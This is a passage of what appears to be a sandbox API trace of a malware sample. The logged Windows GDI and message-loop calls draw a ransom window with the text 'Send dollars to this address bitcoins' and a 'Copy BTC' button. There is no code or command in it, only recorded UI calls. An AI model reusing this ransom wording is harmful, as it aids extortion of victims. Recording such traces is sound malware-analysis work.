graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.605] GdipGetRegionHRgn (region=0x6917f60, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.605] GdipDeleteRegion (region=0x6917f60) returned 0x0 [0155.605] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.605] GetCurrentObject (hdc=0x14010725, type=0x1) returned 0xb00017 [0155.605] GetCurrentObject (hdc=0x14010725, type=0x2) returned 0x900010 [0155.605] GetCurrentObject (hdc=0x14010725, type=0x7) returned 0x6050721 [0155.605] GetCurrentObject (hdc=0x14010725, type=0x6) returned 0x8a01c2 [0155.605] SaveDC (hdc=0x14010725) returned 1 [0155.606] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa80406fe [0155.606] GetClipRgn (hdc=0x14010725, hrgn=0xa80406fe) returned 0 [0155.606] SelectClipRgn (hdc=0x14010725, hrgn=0xe704070e) returned 2 [0155.606] DeleteObject (ho=0xa80406fe) returned 1 [0155.606] DeleteObject (ho=0xe704070e) returned 1 [0155.606] OffsetViewportOrgEx (in: hdc=0x14010725, x=0, y=0, lppt=0x3002f30 | out: lppt=0x3002f30) returned 1 [0155.606] GetNearestColor (hdc=0x14010725, color=0x323533) returned 0x323533 [0155.606] CreateSolidBrush (color=0x323533) returned 0x2a100628 [0155.606] FillRect (hDC=0x14010725, lprc=0x19e7cc, hbr=0x2a100628) returned 1 [0155.607] DeleteObject (ho=0x2a100628) returned 1 [0155.607] RestoreDC (hdc=0x14010725, nSavedDC=-1) returned 1 [0155.607] GdipReleaseDC (graphics=0x6915b98, hdc=0x14010725) returned 0x0 [0155.607] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd810dbd) returned 0x0 [0155.607] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.607] GetWindowTextLengthW (hWnd=0x20222) returned 39 [0155.607] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x27 [0155.607] GetSystemMetrics (nIndex=42) returned 0 [0155.607] GetWindowTextW (in: hWnd=0x20222, lpString=0x19e830, nMaxCount=40 | out: lpString="Send dollars to this address bitcoins ") returned 39 [0155.607] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0xd, wParam=0x28, lParam=0x19e830) returned 0x27 [0155.607] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.607] GetCurrentObject (hdc=0x14010725, type=0x1) returned 0xb00017 [0155.607] GetCurrentObject (hdc=0x14010725, type=0x2) returned 0x900010 [0155.607] GetCurrentObject (hdc=0x14010725, type=0x7) returned 0x6050721 [0155.607] GetCurrentObject (hdc=0x14010725, type=0x6) returned 0x8a01c2 [0155.607] SaveDC (hdc=0x14010725) returned 1 [0155.607] GetNearestColor (hdc=0x14010725, color=0x6994f5) returned 0x6994f5 [0155.608] RestoreDC (hdc=0x14010725, nSavedDC=-1) returned 1 [0155.608] GdipReleaseDC (graphics=0x6915b98, hdc=0x14010725) returned 0x0 [0155.608] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.608] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0155.608] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e78c, fWinIni=0x0 | out: pvParam=0x19e78c) returned 1 [0155.608] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.608] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.608] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.608] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.609] GetCurrentObject (hdc=0x14010725, type=0x1) returned 0xb00017 [0155.609] GetCurrentObject (hdc=0x14010725, type=0x2) returned 0x900010 [0155.609] GetCurrentObject (hdc=0x14010725, type=0x7) returned 0x6050721 [0155.609] GetCurrentObject (hdc=0x14010725, type=0x6) returned 0x8a01c2 [0155.609] SaveDC (hdc=0x14010725) returned 1 [0155.611] GetTextAlign (hdc=0x14010725) returned 0x0 [0155.611] GetTextColor (hdc=0x14010725) returned 0x0 [0155.611] SetTextColor (hdc=0x14010725, color=0x6994f5) returned 0x0 [0155.611] GetCurrentObject (hdc=0x14010725, type=0x6) returned 0x8a01c2 [0155.611] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.611] SelectObject (hdc=0x14010725, h=0x870a06c6) returned 0x8a01c2 [0155.612] GetBkMode (hdc=0x14010725) returned 2 [0155.612] SetBkMode (hdc=0x14010725, mode=1) returned 2 [0155.612] DrawTextExW (in: hdc=0x14010725, lpchText="Send dollars to this address bitcoins ", cchText=39, lprc=0x19e708, format=0x100000, lpdtp=0x3003478 | out: lpchText="Send dollars to this address bitcoins ", lprc=0x19e708) returned 24 [0155.614] RestoreDC (hdc=0x14010725, nSavedDC=-1) returned 1 [0155.614] GdipReleaseDC (graphics=0x6915b98, hdc=0x14010725) returned 0x0 [0155.614] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.614] BitBlt (hdc=0x1b010670, x=0, y=0, cx=391, cy=24, hdcSrc=0x14010725, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.614] GdipReleaseDC (graphics=0x6915b98, hdc=0x14010725) returned 0x0 [0155.614] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.614] SelectObject (hdc=0x14010725, h=0x85000f) returned 0x6050721 [0155.614] DeleteDC (hdc=0x14010725) returned 1 [0155.614] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.615] EndPaint (hWnd=0x20222, lpPaint=0x19e8c8) returned 1 [0155.615] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.615] IsWindowUnicode (hWnd=0x20224) returned 1 [0155.615] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.615] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.615] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.615] BeginPaint (in: hWnd=0x20224, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x10105d6 [0155.615] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.615] CreateCompatibleDC (hdc=0x10105d6) returned 0x16010725 [0155.615] SelectObject (hdc=0x16010725, h=0x6050721) returned 0x85000f [0155.615] GdipCreateFromHDC (hdc=0x16010725, graphics=0x19e920) returned 0x0 [0155.616] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.616] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=46, height=34, combineMode=0x0) returned 0x0 [0155.616] GdipCreateMatrix (matrix=0x19e968) returned 0x0 [0155.616] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.616] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e980) returned 0x0 [0155.616] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff940 [0155.616] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff940) returned 0x0 [0155.616] LocalFree (hMem=0xeff940) returned 0x0 [0155.616] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.616] GdipCreateRegion (region=0x19e968) returned 0x0 [0155.616] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.616] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e974) returned 0x0 [0155.616] GdipSaveGraphics (graphics=0x6915b98, state=0x19e9a0) returned 0x0 [0155.616] GetWindowTextLengthW (hWnd=0x20224) returned 0 [0155.616] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.616] GetSystemMetrics (nIndex=42) returned 0 [0155.616] GetWindowTextW (in: hWnd=0x20224, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0155.616] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0155.616] GetClientRect (in: hWnd=0x20224, lpRect=0x19e968 | out: lpRect=0x19e968) returned 1 [0155.616] GdipCreateRegion (region=0x19e7bc) returned 0x0 [0155.616] GdipGetClip (graphics=0x6915b98, region=0x6917f60) returned 0x0 [0155.617] GdipCreateMatrix (matrix=0x19e7bc) returned 0x0 [0155.617] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.617] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e7d4) returned 0x0 [0155.617] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff7f0 [0155.617] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff7f0) returned 0x0 [0155.617] LocalFree (hMem=0xeff7f0) returned 0x0 [0155.617] GdipCombineRegionRegion (region=0x6917f60, region2=0x6917c70, combineMode=0x1) returned 0x0 [0155.617] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff5c0 [0155.617] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff5c0) returned 0x0 [0155.617] LocalFree (hMem=0xeff5c0) returned 0x0 [0155.617] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.617] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7fc) returned 0x0 [0155.617] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7ec) returned 0x0 [0155.617] GdipGetRegionHRgn (region=0x6917f60, graphics=0x6915b98, hRgn=0x19e7ec) returned 0x0 [0155.617] GdipDeleteRegion (region=0x6917f60) returned 0x0 [0155.617] GdipGetDC (graphics=0x6915b98, hdc=0x19e804) returned 0x0 [0155.617] GetCurrentObject (hdc=0x16010725, type=0x1) returned 0xb00017 [0155.617] GetCurrentObject (hdc=0x16010725, type=0x2) returned 0x900010 [0155.617] GetCurrentObject (hdc=0x16010725, type=0x7) returned 0x6050721 [0155.617] GetCurrentObject (hdc=0x16010725, type=0x6) returned 0x8a01c2 [0155.618] SaveDC (hdc=0x16010725) returned 1 [0155.618] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xe804070e [0155.618] GetClipRgn (hdc=0x16010725, hrgn=0xe804070e) returned 0 [0155.618] SelectClipRgn (hdc=0x16010725, hrgn=0xaa0406fe) returned 2 [0155.618] DeleteObject (ho=0xe804070e) returned 1 [0155.618] DeleteObject (ho=0xaa0406fe) returned 1 [0155.618] OffsetViewportOrgEx (in: hdc=0x16010725, x=0, y=0, lppt=0x3003838 | out: lppt=0x3003838) returned 1 [0155.618] GetNearestColor (hdc=0x16010725, color=0x323533) returned 0x323533 [0155.618] CreateSolidBrush (color=0x323533) returned 0x2b100628 [0155.618] FillRect (hDC=0x16010725, lprc=0x19e808, hbr=0x2b100628) returned 1 [0155.618] DeleteObject (ho=0x2b100628) returned 1 [0155.618] RestoreDC (hdc=0x16010725, nSavedDC=-1) returned 1 [0155.619] GdipReleaseDC (graphics=0x6915b98, hdc=0x16010725) returned 0x0 [0155.619] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd7f0dbd) returned 0x0 [0155.619] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.619] GetWindowTextLengthW (hWnd=0x20224) returned 0 [0155.619] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.619] GetSystemMetrics (nIndex=42) returned 0 [0155.619] GetWindowTextW (in: hWnd=0x20224, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0155.619] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0155.619] GdipGetImageWidth (image=0x6911d18, width=0x19e83c) returned 0x0 [0155.620] GdipGetImageHeight (image=0x6911d18, height=0x19e83c) returned 0x0 [0155.620] GdipDrawImageRectI (graphics=0x6915b98, image=0x6911d18, x=6, y=0, width=34, height=34) returned 0x0 [0155.622] GdipGetDC (graphics=0x6915b98, hdc=0x19e960) returned 0x0 [0155.622] BitBlt (hdc=0x10105d6, x=0, y=0, cx=46, cy=34, hdcSrc=0x16010725, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.622] GdipReleaseDC (graphics=0x6915b98, hdc=0x16010725) returned 0x0 [0155.622] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.622] SelectObject (hdc=0x16010725, h=0x85000f) returned 0x6050721 [0155.622] DeleteDC (hdc=0x16010725) returned 1 [0155.622] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.622] EndPaint (hWnd=0x20224, lpPaint=0x19e904) returned 1 [0155.622] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.622] IsWindowUnicode (hWnd=0x20226) returned 1 [0155.622] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.622] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.622] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.623] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0155.623] SetTextColor (hdc=0x2801019f, color=0x0) returned 0x0 [0155.623] SetBkColor (hdc=0x2801019f, color=0xffffff) returned 0xffffff [0155.629] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.629] IsWindowUnicode (hWnd=0x20228) returned 1 [0155.629] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.629] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.629] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.629] BeginPaint (in: hWnd=0x20228, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0155.629] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.629] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x19010725 [0155.629] SelectObject (hdc=0x19010725, h=0x6050721) returned 0x85000f [0155.629] GdipCreateFromHDC (hdc=0x19010725, graphics=0x19e8d8) returned 0x0 [0155.630] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.630] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=118, height=41, combineMode=0x0) returned 0x0 [0155.630] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0155.630] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.630] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e938) returned 0x0 [0155.630] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff5c0 [0155.630] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff5c0) returned 0x0 [0155.630] LocalFree (hMem=0xeff5c0) returned 0x0 [0155.630] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.630] GdipCreateRegion (region=0x19e920) returned 0x0 [0155.630] GdipGetClip (graphics=0x6915b98, region=0x691d298) returned 0x0 [0155.630] GdipIsInfiniteRegion (region=0x691d298, graphics=0x6915b98, result=0x19e92c) returned 0x0 [0155.630] GdipSaveGraphics (graphics=0x6915b98, state=0x19e958) returned 0x0 [0155.630] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd7d0dbd) returned 0x0 [0155.630] GdipDeleteRegion (region=0x691d298) returned 0x0 [0155.630] GdipGetDC (graphics=0x6915b98, hdc=0x19e660) returned 0x0 [0155.630] GetCurrentObject (hdc=0x19010725, type=0x1) returned 0xb00017 [0155.630] GetCurrentObject (hdc=0x19010725, type=0x2) returned 0x900010 [0155.630] GetCurrentObject (hdc=0x19010725, type=0x7) returned 0x6050721 [0155.631] GetCurrentObject (hdc=0x19010725, type=0x6) returned 0x8a01c2 [0155.631] SaveDC (hdc=0x19010725) returned 1 [0155.631] GetNearestColor (hdc=0x19010725, color=0x323533) returned 0x323533 [0155.631] GetNearestColor (hdc=0x19010725, color=0x111111) returned 0x111111 [0155.631] GetNearestColor (hdc=0x19010725, color=0x0) returned 0x0 [0155.631] GetNearestColor (hdc=0x19010725, color=0x868c88) returned 0x868c88 [0155.631] GetNearestColor (hdc=0x19010725, color=0x6994f5) returned 0x6994f5 [0155.631] GetNearestColor (hdc=0x19010725, color=0x969c98) returned 0x969c98 [0155.631] GetNearestColor (hdc=0x19010725, color=0x868c88) returned 0x868c88 [0155.631] GetNearestColor (hdc=0x19010725, color=0x3c3f3d) returned 0x3c3f3d [0155.631] GetNearestColor (hdc=0x19010725, color=0x6994f5) returned 0x6994f5 [0155.631] RestoreDC (hdc=0x19010725, nSavedDC=-1) returned 1 [0155.631] GdipReleaseDC (graphics=0x6915b98, hdc=0x19010725) returned 0x0 [0155.631] GdipGetImageWidth (image=0x6913c20, width=0x19e6dc) returned 0x0 [0155.631] GdipGetImageHeight (image=0x6913c20, height=0x19e6dc) returned 0x0 [0155.632] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e6b4, fWinIni=0x0 | out: pvParam=0x19e6b4) returned 1 [0155.632] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.632] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.632] GdipGetFamilyName (in: family=0x57faee0, name=0x19e41c, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0155.632] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0155.632] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0155.632] CreateFontIndirectW (lplf=0xeeb088) returned 0x60a0723 [0155.632] CoTaskMemFree (pv=0xeeb088) [0155.632] GetObjectW (in: h=0x60a0723, c=92, pv=0x19e3e0 | out: pv=0x19e3e0) returned 92 [0155.632] SelectObject (hdc=0x8e0106dd, h=0x60a0723) returned 0x110a0722 [0155.632] GetMapMode (hdc=0x8e0106dd) returned 1 [0155.632] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e410 | out: lptm=0x19e410) returned 1 [0155.633] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Copy BTC", cchText=8, lprc=0x19e51c, format=0x102416, lpdtp=0x3003f5c | out: lpchText="Copy BTC", lprc=0x19e51c) returned 18 [0155.682] GdipCreateRegion (region=0x19e5a4) returned 0x0 [0155.682] GdipGetClip (graphics=0x6915b98, region=0x691d298) returned 0x0 [0155.682] GdipCreateMatrix (matrix=0x19e5a4) returned 0x0 [0155.682] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.682] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e5bc) returned 0x0 [0155.682] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeffa20 [0155.683] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeffa20) returned 0x0 [0155.683] LocalFree (hMem=0xeffa20) returned 0x0 [0155.683] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff908 [0155.683] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff908) returned 0x0 [0155.683] LocalFree (hMem=0xeff908) returned 0x0 [0155.683] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.683] GdipIsInfiniteRegion (region=0x691d298, graphics=0x6915b98, result=0x19e5e4) returned 0x0 [0155.683] GdipIsInfiniteRegion (region=0x691d298, graphics=0x6915b98, result=0x19e5d4) returned 0x0 [0155.683] GdipGetRegionHRgn (region=0x691d298, graphics=0x6915b98, hRgn=0x19e5d4) returned 0x0 [0155.683] GdipDeleteRegion (region=0x691d298) returned 0x0 [0155.683] GdipGetDC (graphics=0x6915b98, hdc=0x19e5ec) returned 0x0 [0155.683] GetCurrentObject (hdc=0x19010725, type=0x1) returned 0xb00017 [0155.683] GetCurrentObject (hdc=0x19010725, type=0x2) returned 0x900010 [0155.683] GetCurrentObject (hdc=0x19010725, type=0x7) returned 0x6050721 [0155.683] GetCurrentObject (hdc=0x19010725, type=0x6) returned 0x8a01c2 [0155.683] SaveDC (hdc=0x19010725) returned 1 [0155.683] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xac0406fe [0155.683] GetClipRgn (hdc=0x19010725, hrgn=0xac0406fe) returned 0 [0155.683] SelectClipRgn (hdc=0x19010725, hrgn=0xeb04070e) returned 2 [0155.683] DeleteObject (ho=0xac0406fe) returned 1 [0155.683] DeleteObject (ho=0xeb04070e) returned 1 [0155.683] OffsetViewportOrgEx (in: hdc=0x19010725, x=0, y=0, lppt=0x300414c | out: lppt=0x300414c) returned 1 [0155.684] GetNearestColor (hdc=0x19010725, color=0x323533) returned 0x323533 [0155.684] CreateSolidBrush (color=0x323533) returned 0x2c100628 [0155.684] FillRect (hDC=0x19010725, lprc=0x19e5f0, hbr=0x2c100628) returned 1 [0155.684] DeleteObject (ho=0x2c100628) returned 1 [0155.684] RestoreDC (hdc=0x19010725, nSavedDC=-1) returned 1 [0155.684] GdipReleaseDC (graphics=0x6915b98, hdc=0x19010725) returned 0x0 [0155.684] GdipCreateRegion (region=0x19e6b4) returned 0x0 [0155.684] GdipGetClip (graphics=0x6915b98, region=0x691d298) returned 0x0 [0155.684] GdipGetImageWidth (image=0x6913c20, width=0x19e6cc) returned 0x0 [0155.684] GdipGetImageHeight (image=0x6913c20, height=0x19e6c0) returned 0x0 [0155.684] GdipDrawImageRectI (graphics=0x6915b98, image=0x6913c20, x=6, y=1, width=40, height=40) returned 0x0 [0155.684] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e668) returned 0x0 [0155.684] GdipGetDC (graphics=0x6915b98, hdc=0x19e654) returned 0x0 [0155.684] GetCurrentObject (hdc=0x19010725, type=0x1) returned 0xb00017 [0155.685] GetCurrentObject (hdc=0x19010725, type=0x2) returned 0x900010 [0155.685] GetCurrentObject (hdc=0x19010725, type=0x7) returned 0x6050721 [0155.685] GetCurrentObject (hdc=0x19010725, type=0x6) returned 0x8a01c2 [0155.685] SaveDC (hdc=0x19010725) returned 1 [0155.685] GetTextAlign (hdc=0x19010725) returned 0x0 [0155.685] GetTextColor (hdc=0x19010725) returned 0x0 [0155.685] SetTextColor (hdc=0x19010725, color=0x6994f5) returned 0x0 [0155.685] GetCurrentObject (hdc=0x19010725, type=0x6) returned 0x8a01c2 [0155.685] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e39c | out: pv=0x19e39c) returned 92 [0155.685] SelectObject (hdc=0x19010725, h=0x60a0723) returned 0x8a01c2 [0155.685] DrawTextExW (in: hdc=0x19010725, lpchText="Copy BTC", cchText=8, lprc=0x19e484, format=0x102416, lpdtp=0x3004418 | out: lpchText="Copy BTC", lprc=0x19e484) returned 18 [0155.694] GdipReleaseDC (graphics=0x6915b98, hdc=0x19010725) returned 0x0 [0155.694] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e6d0) returned 0x0 [0155.694] GdipDrawRectangleI (graphics=0x6915b98, pen=0x6915e78, x=0, y=0, width=117, height=40) returned 0x0 [0155.694] GdipDeletePen (pen=0x6915e78) returned 0x0 [0155.694] GdipGetDC (graphics=0x6915b98, hdc=0x19e918) returned 0x0 [0155.694] GdipReleaseDC (graphics=0x6915b98, hdc=0x19010725) returned 0x0 [0155.695] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.695] EndPaint (hWnd=0x20228, lpPaint=0x19e8bc) returned 1 [0155.695] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.825] GetCurrentProcess () returned 0xffffffff [0155.826] GetCurrentProcess () returned 0xffffffff [0155.827] GetCurrentProcess () returned 0xffffffff [0155.829] GetCurrentProcess () returned 0xffffffff [0156.148] GetCurrentProcess () returned 0xffffffff [0156.151] GetCurrentProcess () returned 0xffffffff [0156.152] GetCurrentProcess () returned 0xffffffff [0156.155] GetCurrentProcess () returned 0xffffffff [0156.387] GetCurrentProcess () returned 0xffffffff [0156.396] GetCurrentProcess () returned 0xffffffff [0156.397] GetCurrentProcess () returned 0xffffffff [0156.398] GetCurrentProcess () returned 0xffffffff [0156.400] GetCurrentProcess () returned 0xffffffff [0156.402] GetCurrentProcess () returned 0xffffffff [0156.420] GetCurrentProcess () returned 0xffffffff [0156.421] GetCurrentProcess () returned 0xffffffff [0156.435] GetCurrentProcess () returned 0xffffffff [0156.436] GetCurrentProcess () returned 0xffffffff [0156.436] GetCurrentProcess () returned 0xffffffff [0156.437] GetCurrentProcess () returned 0xffffffff [0156.438] GetCurrentProcess () returned 0xffffffff [0156.439] GetCurrentProcess () returned 0xffffffff [0156.440] GetCurrentProcess () returned 0xffffffff [0156.441] GetCurrentProcess () returned 0xffffffff [0156.443] GetCurrentProcess () returned 0xffffffff [0156.444] GetCurrentProcess () returned 0xffffffff [0156.445] GetCurrentProcess () returned 0xffffffff [0156.446] GetCurrentProcess () returned 0xffffffff [0156.447] GetCurrentProcess () returned 0xffffffff [0156.448] GetCurrentProcess () returned 0xffffffff [0156.448] GetCurrentProcess () returned 0xffffffff [0156.449] GetCurrentProcess () returned 0xffffffff [0156.449] GetCurrentProcess () returned 0xffffffff [0156.450] GetCurrentProcess () returned 0xffffffff [0156.451] GetCurrentProcess () returned 0xffffffff [0156.451] GetCurrentProcess () returned 0xffffffff [0156.452] GetCurrentProcess () returned 0xffffffff [0156.453] GetCurrentProcess () returned 0xffffffff [0156.464] GetCurrentProcess () returned 0xffffffff [0156.464] GetCurrentProcess () returned 0xffffffff [0156.473] GetCurrentProcess () returned 0xffffffff [0156.474] GetCurrentProcess () returned 0xffffffff [0156.481] GetCurrentProcess () returned 0xffffffff [0156.481] GetCurrentProcess () returned 0xffffffff [0156.486] GetCurrentProcess () returned 0xffffffff [0156.487] GetCurrentProcess () returned 0xffffffff [0156.492] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0156.492] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x46, wParam=0x0, lParam=0x19ed4c) returned 0x0 [0156.492] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x46, wParam=0x0, lParam=0x19ed4c) returned 0x0 [0156.493] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x47, wParam=0x0, lParam=0x19ed4c) returned 0x0 [0156.494] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0156.494] IsWindowUnicode (hWnd=0x30212) returned 1 [0156.494] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.494] GetCurrentProcess () returned 0xffffffff [0156.495] GetCurrentProcess () returned 0xffffffff [0156.496] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.496] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.496] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.496] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0156.496] IsWindowUnicode (hWnd=0x30212) returned 1 [0156.496] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.496] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0156.497] GetDlgItem (hDlg=0x8004e, nIDDlgItem=0) returned 0x0 [0156.497] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x201, lParam=0x1770046) returned 0x0 [0156.497] GetDlgItem (hDlg=0x1023e, nIDDlgItem=0) returned 0x0 [0156.497] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x210, wParam=0x201, lParam=0x1d60046) returned 0x0 [0156.497] CallWindowProcW 